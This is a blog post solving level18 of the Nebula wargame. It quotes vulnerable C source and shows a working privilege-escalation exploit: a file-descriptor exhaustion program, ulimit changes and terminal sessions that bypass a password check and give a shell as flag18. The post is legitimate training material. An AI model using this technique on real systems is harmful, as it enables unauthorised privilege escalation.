Friday, November 2, 2012

exploit-exercises Nebula: level18

This time, we will solve level18 of Nebula wargame. The source code of the vulnerable binary is provided. Most importantly

void login(char *pw)
{
FILE *fp;

fp = fopen(PWFILE, "r");
if(fp) {
char file[64];

if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
                fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

globals.loggedin = 1;

}

As it could be seen, we have to bypass the if(fp) check. Ofcourse, we don't have read access to the password file. What is to be noticed is that global.loggedin = 1 is outside of the if(fp) block. This means that if we are able to make the fopen() call return NULL, we will skip the if conditional block and be loggedin. After investigating what are the possible ways to make the fopen() call fail, I have come across the idea of exhausting file handlers.
level18@nebula:~$ cat /proc/sys/fs/file-nr 
288 0 23521
There are 288 open files. The maximum amount of open files simultaneously is 23521 (way higher on my own box.) First thought is to write a program that loops for 24k times calling fopen() each time. But we have some limits.
level18@nebula:~$ ulimit -Sn
The soft limit of open files by process is 1024, so we will change that to a higher value, matching the one of the hard limit which can't be increased without privileges.
level18@nebula:~$ ulimit -Hn
4096
level18@nebula:~$ ulimit -Sn 4096
Now we will launch the file handlers exhausting program for a couple of times to exhaust all the file handlers.
level18@nebula:~$ cat fhexhaust.c 
#include <stdio.h>
int main(int argc, char *argv[]) {
    int i;
    FILE *fp;
    for(i = 0; i < 4096; i++) {
fp = fopen("/tmp/pwnie18", "r");
    }
    printf("let's take a nap\n");
    sleep(30);
    return 0;
}
The program will sleep for 30 seconds, letting us do the job calmly (80 WPM, if that is what you are thinking about.)
We first start flag18, and CTRL-Z out of it.
level18@nebula:~$ touch /tmp/pwnie18
level18@nebula:~$ ../flag18/flag18 

^Z
[2]+  Stopped(SIGTSTP)        ../flag18/flag18
We then launch fhexhaust 6 times.
level18@nebula:~$ for i in {1..6}
> do
> ./a.out &
> done

[2] 4311
[3] 4312
[4] 4313
[5] 4314
[6] 4315
[7] 4316
level18@nebula:~$ let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap
let's take a nap

And we switch back to flag18 to login as the file handlers are exhausted.
level18@nebula:~$ jobs
[1]+  Stopped(SIGTSTP)        ../flag18/flag18
[2]   Running                 ./a.out &
[3]   Running                 ./a.out &
[4]   Running                 ./a.out &
[5]   Running                 ./a.out &
[6]   Running                 ./a.out &
[7]   Running                 ./a.out &
level18@nebula:~$ fg 1
../flag18/flag18
login
^Z
We kill the exhausters (to free their resources) before querying for a shell (Otherwise, execve will return -1 and errno is set
to ENFILE)
level18@nebula:~$ fg 1
../flag18/flag18
shell
flag18@nebula:~$ id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
flag18@nebula:~$ getflag 
You have successfully executed getflag on a target account

No comments:

Post a Comment